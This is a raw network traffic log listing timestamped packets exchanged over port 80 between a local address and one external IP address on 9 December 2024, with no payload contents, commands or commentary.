Dec 9, 2024 15:29:30.230741024 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.273312092 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.273838043 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.273931026 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.275147915 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.275239944 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.275239944 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.275646925 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.276880980 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.276945114 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.278260946 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.278276920 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.278331995 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.280868053 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.280884027 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.280946970 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.283561945 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.283582926 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.283620119 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.283682108 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.286134958 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.286148071 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.286211014 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.288755894 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.288769007 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.288826942 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.291352034 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.291369915 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.291433096 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.294029951 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.294048071 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.294104099 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.296612978 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.296629906 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.296677113 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.296725988 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.299468040 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.299480915 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.299529076 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.302345037 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.302361965 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.302419901 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.305304050 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.305320024 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.305368900 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.308080912 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.308095932 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.308105946 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.308156967 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.308183908 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.310848951 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.310862064 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.310914040 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.313525915 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.313539982 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.313589096 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.316251040 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.316262960 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.316327095 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.318871021 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.318900108 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.319164991 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.319185972 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.321669102 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.321690083 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.321701050 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.321749926 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.324198961 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.324212074 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.324259043 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.326809883 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.326850891 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.326903105 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.329560041 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.329574108 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.329623938 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.331804037 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.331815958 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.331866980 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.334059954 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.334073067 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.334099054 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.334119081 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.334140062 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.336268902 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.336292028 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.336358070 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.338596106 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.338613987 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.338650942 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.338679075 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.340853930 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.340869904 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.340929031 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.343118906 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.343133926 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.343175888 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.345463037 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.345477104 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.345489025 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.345557928 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.347698927 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.347791910 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.347850084 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.349942923 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.349957943 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.350012064 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.352188110 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.352201939 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.352241039 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.354614019 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.354631901 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.354644060 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.354691029 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.354752064 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.356728077 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.356741905 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.356791019 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.359157085 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.359169960 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.359221935 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.361407995 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.361422062 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.361464024 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.361495972 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.363765001 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.363785028 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.363836050 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.365852118 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.365866899 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.365879059 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.365933895 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.365969896 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.368068933 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.368088007 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.368139029 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.370434046 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.370446920 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.370510101 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.372936964 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.372951031 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.372998953 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.375181913 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.375195026 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.375205994 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.375257015 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.375282049 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.377125025 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.377136946 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.377192020 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.379440069 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.379451990 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.379503012 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.381717920 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.381763935 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.381779909 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.381808996 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.384270906 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.384290934 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.384324074 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.384367943 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.386217117 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.386230946 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.386245966 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.386286020 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.386322975 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.388482094 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.388499975 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.388555050 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.391043901 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.391057968 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.391125917 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.465251923 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.465770006 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.465934038 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.466023922 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.466069937 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.467053890 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.467637062 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.468096018 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.468111038 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.468159914 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.468193054 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.470172882 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.470711946 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.471124887 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.471174002 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.472206116 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.472222090 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.472280025 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.474267006 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.474283934 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.474339962 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.476368904 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.476386070 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.476435900 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.476465940 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.478409052 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.478421926 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.478472948 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.480873108 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.480885029 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.480942011 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.482741117 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.482753038 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.482810020 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.485225916 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.485239029 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.485316992 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.485413074 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.488684893 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.488698006 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.488750935 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.490736008 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.490770102 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.490808010 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.490838051 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.492679119 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.492693901 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.492705107 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.492738008 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.492786884 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.494471073 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.494487047 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.494556904 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.496166945 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.496181011 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.496248007 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.498254061 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.498266935 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.498316050 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.500545025 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.500561953 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.500574112 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.500612020 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.500644922 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.502798080 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.502811909 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.502862930 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.505054951 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.505069017 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.505153894 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.507339001 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.507354975 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.507405043 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.509598017 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.509614944 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.509655952 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.509673119 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.511842966 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.511873960 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.511919975 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.511931896 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.516443968 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.516467094 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.516509056 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.516525030 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.518831015 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.518863916 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.518918037 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.520932913 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.520946980 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.520986080 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.520998955 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.523008108 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.523022890 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.523067951 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.523175001 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.524924040 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.524970055 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.524981976 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.525027990 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.525058031 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.527050972 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.527064085 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.527147055 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.527147055 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.528844118 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.528862000 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.528919935 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.530910015 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.530926943 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.530983925 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.532608986 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.532629967 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.532669067 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.532680035 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.534759998 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.534774065 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.534785032 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.534809113 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.534833908 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.536931038 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.536947012 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.536987066 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.536999941 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.538850069 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.538866997 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.538914919 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.538944006 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.540704012 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.540741920 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.540771961 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.540781021 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.542809010 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.542825937 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.542876959 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.542901039 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.544981956 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.545022011 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.545074940 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.545114994 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.546897888 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.546915054 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.546928883 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.546988010 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.546988010 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.548723936 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.548743010 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.548784971 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.550611973 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.550668001 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.550673008 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.550745964 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.552653074 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.552694082 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.552701950 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.552736044 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.554394007 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.554410934 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.554423094 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.554459095 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.554507971 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.556190968 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.556207895 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.556241989 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.556261063 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.557945967 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.557960987 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.558008909 CET	49767	80	192.168.2.5	185.215.113.206
